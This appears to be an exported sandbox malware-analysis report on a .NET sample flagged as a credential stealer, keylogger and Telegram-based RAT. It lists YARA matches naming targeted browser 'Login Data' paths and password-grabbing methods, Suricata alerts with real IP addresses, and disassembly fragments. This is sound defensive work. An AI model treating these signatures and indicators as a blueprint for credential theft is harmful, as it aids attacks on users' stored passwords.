0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33f3a:$a1: get_encryptedPassword 0x33f0e:$a2: get_encryptedUsername 0x33fd2:$a3: get_timePasswordChanged 0x33eea:$a4: get_passwordField 0x33f50:$a5: set_encryptedPassword 0x33d1d:$a7: get_logins 0x2f5ad:$a10: KeyLoggerEventArgs 0x2f57c:$a11: KeyLoggerEventArgsEventHandler 0x33df1:$a13: _encryptedPassword
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e02e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d6d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d92e:$a4: \Orbitum\User Data\Default\Login Data 0x3e30d:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e02e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d6d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d92e:$a4: \Orbitum\User Data\Default\Login Data 0x3e30d:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31af6:$s1: UnHook 0x31a92:$s2: SetHook 0x31acb:$s3: CallNextHook 0x31a5a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31af6:$s1: UnHook 0x31a92:$s2: SetHook 0x31acb:$s3: CallNextHook 0x31a5a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
Click to see the 75 entries

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T21:44:15.144401+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49748	TCP
2024-11-10T21:44:53.944322+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49755	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T21:43:59.859447+0100	2803305	3	Unknown Traffic	192.168.2.4	49732	188.114.97.3	443	TCP
2024-11-10T21:44:06.393227+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	188.114.97.3	443	TCP
2024-11-10T21:44:09.647704+0100	2803305	3	Unknown Traffic	192.168.2.4	49744	188.114.97.3	443	TCP
2024-11-10T21:44:11.687144+0100	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T21:43:56.804013+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.6.168	80	TCP
2024-11-10T21:43:59.132182+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.6.168	80	TCP
2024-11-10T21:44:00.757146+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.6.168	80	TCP
2024-11-10T21:44:02.397777+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	193.122.6.168	80	TCP
2024-11-10T21:44:04.054141+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	193.122.6.168	80	TCP
2024-11-10T21:44:05.679078+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.6.168	80	TCP
2024-11-10T21:44:07.288480+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2

Source:

Binary string: _.pdb source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061C0D0Fh	0_2_061C0B30
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061C1699h	0_2_061C0B30
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CCF7Ch	0_2_061CCCD0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061C2C3Ch	0_2_061C2988
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061C3206h	0_2_061C2DE8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CE0DCh	0_2_061CDE30
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_061C0676
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CE534h	0_2_061CE288
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CE98Ch	0_2_061CE6E0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CEDE4h	0_2_061CEB38
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CF23Ch	0_2_061CEF90
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CF694h	0_2_061CF3E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_061C0856
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_061C0040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CFAECh	0_2_061CF840
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061C3206h	0_2_061C3134
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CD3D4h	0_2_061CD128
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CD82Ch	0_2_061CD580
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061C3206h	0_2_061C2DDE
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 061CDC84h	0_2_061CD9D8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B8320h	0_2_063B7FE0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BBA91h	0_2_063BB7C0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B96F3h	0_2_063B9420
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B02ECh	0_2_063B0040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BCCF1h	0_2_063BCA20
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B1CFCh	0_2_063B1A50
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BED19h	0_2_063BEA48
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BD189h	0_2_063BCEB8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B2154h	0_2_063B1EA8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B712Ch	0_2_063B6E80
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B4D2Ch	0_2_063B4A80
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BF1B1h	0_2_063BEEE0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B7584h	0_2_063B72D8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B5184h	0_2_063B4ED8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B55DCh	0_2_063B5330
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B79DCh	0_2_063B7730
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B25ACh	0_2_063B2300
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BF649h	0_2_063BF378
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B2A04h	0_2_063B2758
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BD621h	0_2_063BD350
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B2E5Ch	0_2_063B2BB0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B5A34h	0_2_063B5788
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B7E34h	0_2_063B7B88
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BDAB9h	0_2_063BD7E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B5E8Ch	0_2_063B5BE0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B62E4h	0_2_063B6038
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BFAE1h	0_2_063BF810
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B32B4h	0_2_063B3008
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B370Ch	0_2_063B3460
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BBF29h	0_2_063BBC58
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B3B64h	0_2_063B38B8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B0744h	0_2_063B0498
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B673Ch	0_2_063B6490
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BDF51h	0_2_063BDC80
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B0B9Ch	0_2_063B08F0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BC3C1h	0_2_063BC0F0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B6B96h	0_2_063B68E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then mov esp, ebp	0_2_063BB122
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BE3E9h	0_2_063BE118
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B0FF4h	0_2_063B0D48
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BE881h	0_2_063BE5B0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B144Ch	0_2_063B11A0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063BC859h	0_2_063BC588
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 063B18A4h	0_2_063B15F8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06426EB3h	0_2_06426BB8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06420311h	0_2_06420040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642E63Bh	0_2_0642E340
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06425A19h	0_2_06425748
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06427843h	0_2_06427548
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06424321h	0_2_06424050
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642A34Bh	0_2_0642A050
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642CE53h	0_2_0642CB58
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06422C29h	0_2_06422958
